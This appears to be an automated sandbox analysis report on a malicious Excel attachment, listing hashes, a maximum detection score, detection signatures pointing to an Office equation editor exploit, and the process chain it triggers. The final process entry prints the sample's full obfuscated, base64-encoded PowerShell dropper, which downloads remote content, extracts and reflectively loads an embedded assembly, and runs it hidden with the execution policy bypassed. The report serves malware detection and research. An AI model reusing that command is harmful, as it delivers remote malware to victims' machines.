Edit tour
Windows
Analysis Report
Pedido No 4500924462.xls
Overview
General Information
| Sample name: | Pedido No 4500924462.xls |
| Analysis ID: | 1563998 |
| MD5: | 456ff43e8b42a2043afc83c4474872d5 |
| SHA1: | a18cb477550dc4eda2e5f0d22b2ffb5a71dbeb13 |
| SHA256: | ae99e5fea931ceed4641e248fc8f06fb314d4c12111b92871e6bf45c69d93188 |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3208 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 3472 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3812 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3880 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeme givenmebes ttokissyou rlipswithe ntirething sf9rm.vBs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3924 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdKZjVpbW FnZVVybCA9 IDdaYWh0dH BzOi8vMzEw NS5maWwnKy dlbWFpbC5j b20vYScrJ3 BpL2ZpbGUv Z2V0P2ZpbG VrZXk9c2hU UEhiQ1BYOG 8tbE8nKyd0 Q3FITEc2Xz B4Q3kteGw0 dG54bEFWYl E5JysnNS1k dmlUSzVjQV JhTmRRamJi M21leGZ3UX pLbVRYZyZz a2lwcmVnPX RydWUmcGtf dmlkPWUwMT A5NjM4Yzli ZmI5NTcxNz MyNTMxMzA5 YjVmZjdjID daYTtKZjV3 ZWJDbGllbn QgPSBOZXct T2JqZWN0IF N5c3RlbS5O ZXQnKycuV2 ViQ2xpZW50 OycrJ0pmNW ltYScrJ2dl Qnl0ZXMgPS BKZjV3ZWJD bGllbnQuRG 93bmxvYWRE YXRhKEpmNW ltYWdlVXJs KTtKZjVpbW FnZVRleHQg PSBbU3lzdG VtLlRleCcr J3QuRW5jb2 RpbmddOjpV VEY4LkdldF N0cmluZyhK ZjVpbWFnZU J5dCcrJ2Vz KTtKZjVzdG FydEZsYWcg PSA3WmE8PE JBU0U2NF9T VEFSVD4nKy c+N1phO0pm NWVuZEZsYW cgJysnPSA3 WmE8PEJBU0 U2NF9FTkQ+ PjdaYTtKZj VzdGFydElu ZGV4ID0gSm Y1aW1hZ2VU ZXh0JysnLk luZGV4T2Yo SmY1c3Rhcn RGbGFnKTtK ZjVlbmRJbm RleCA9IEpm NWltYWdlVG V4dC5JbmRl eE9mKEonKy dmNWVuZEZs YWcpO0pmNX N0YXJ0SW5k ZXggLWdlID AgLWFuZCBK ZjVlbmRJbm QnKydleCAt Z3QgSmY1c3 RhcnRJbmRl eDtKZjVzdG FydEluZGV4 ICs9IEpmNX N0YXJ0Rmxh Zy5MZW5ndC crJ2g7SmY1 YmFzZTY0TG VuZ3RoID0g SmYnKyc1ZW 5kSW5kZXgg LSBKZjUnKy dzdGFydElu ZCcrJ2V4O0 pmNWJhc2U2 NENvbW1hbm QgPScrJyBK ZjUnKydpbW FnZVRleHQu U3Vic3RyaW 5nKEpmNXN0 YXJ0SW5kZX gsIEpmNWJh Jysnc2U2NE xlbmd0aCk7 SmY1YmFzZT YnKyc0UmV2 ZXJzZWQgPS AtaicrJ29p biAoSmY1Ym FzZTYnKyc0 Q29tbWFuZC 5Ub0NoYXJB cnJheSgpIF FHMCBGb3JF YWNoLU9iam VjdCcrJyB7 IEpmNV8gfS lbLTEuLi0o SmY1JysnYm FzJysnZTY0 Q29tbWFuZC 5MZW5ndGgp XTtKZjVjb2 1tYW5kQnl0 ZXMgPSBbU3 lzdGVtLkNv bnZlcnRdOj pGcm9tQmFz ZTY0U3RyaW 5nKEpmNWJh c2U2NFJldm Vyc2VkKTtK ZjVsb2FkZW RBc3NlbWJs eSA9IFtTeX N0ZW0uUmVm bGVjdGlvbi 5Bc3NlbWJs eScrJ106Ok xvYWQoSmY1 Y29tbWFuZE J5dGVzKTtK ZjV2YWlNZX Rob2QnKycg PSBbZG5saW IuSU8uSG9t ZV0uR2V0TW V0aG9kKDda YVZBSTdaYS k7SmY1dmFp TWV0aG9kLk ludm9rZShK ZjVudWxsLC BAKDdaYXR4 dC5SVENDQ1 JWLzYyMi81 MTIuODIxLj U5LjMyLy86 cCcrJ3R0aD daYSwgN1ph ZGVzYXRpdm FkbzdaYSwg N1phZGVzYX QnKydpdmFk bzdaYSwgN1 phZGVzYXRp dicrJ2Fkbz daYSwgN1ph YXMnKydwbm UnKyd0X2Nv bXBpbGVyN1 phLCA3WmFk ZXNhdGl2YW RvN1phLCA3 WmFkZXNhdG l2YWRvN1ph LDdaJysnYW Rlc2F0aXZh ZCcrJ283Wm EsN1phJysn ZGVzYXQnKy dpdmFkbzda YSw3WmFkZX NhJysndGl2 YWRvN1phLD daYWRlc2F0 aXZhZG83Wm EsN1phZGVz YXRpdmEnKy dkbzdaYSw3 WmExN1phLD daYWRlc2F0 aXZhZG83Wm EpKTsnKS5S RVBsQWNlKC dKZjUnLFtT dHJpTkddW0 NoQVJdMzYp LlJFUGxBY2 UoJzdaYScs W1N0cmlOR1 1bQ2hBUl0z OSkuUkVQbE FjZSgoW0No QVJdODErW0 NoQVJdNzEr W0NoQVJdND gpLFtTdHJp TkddW0NoQV JdMTI0KSB8 IC4oICRwc2 hPbUVbMjFd KyRwU0hPbW VbMzBdKyd4 Jyk=';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: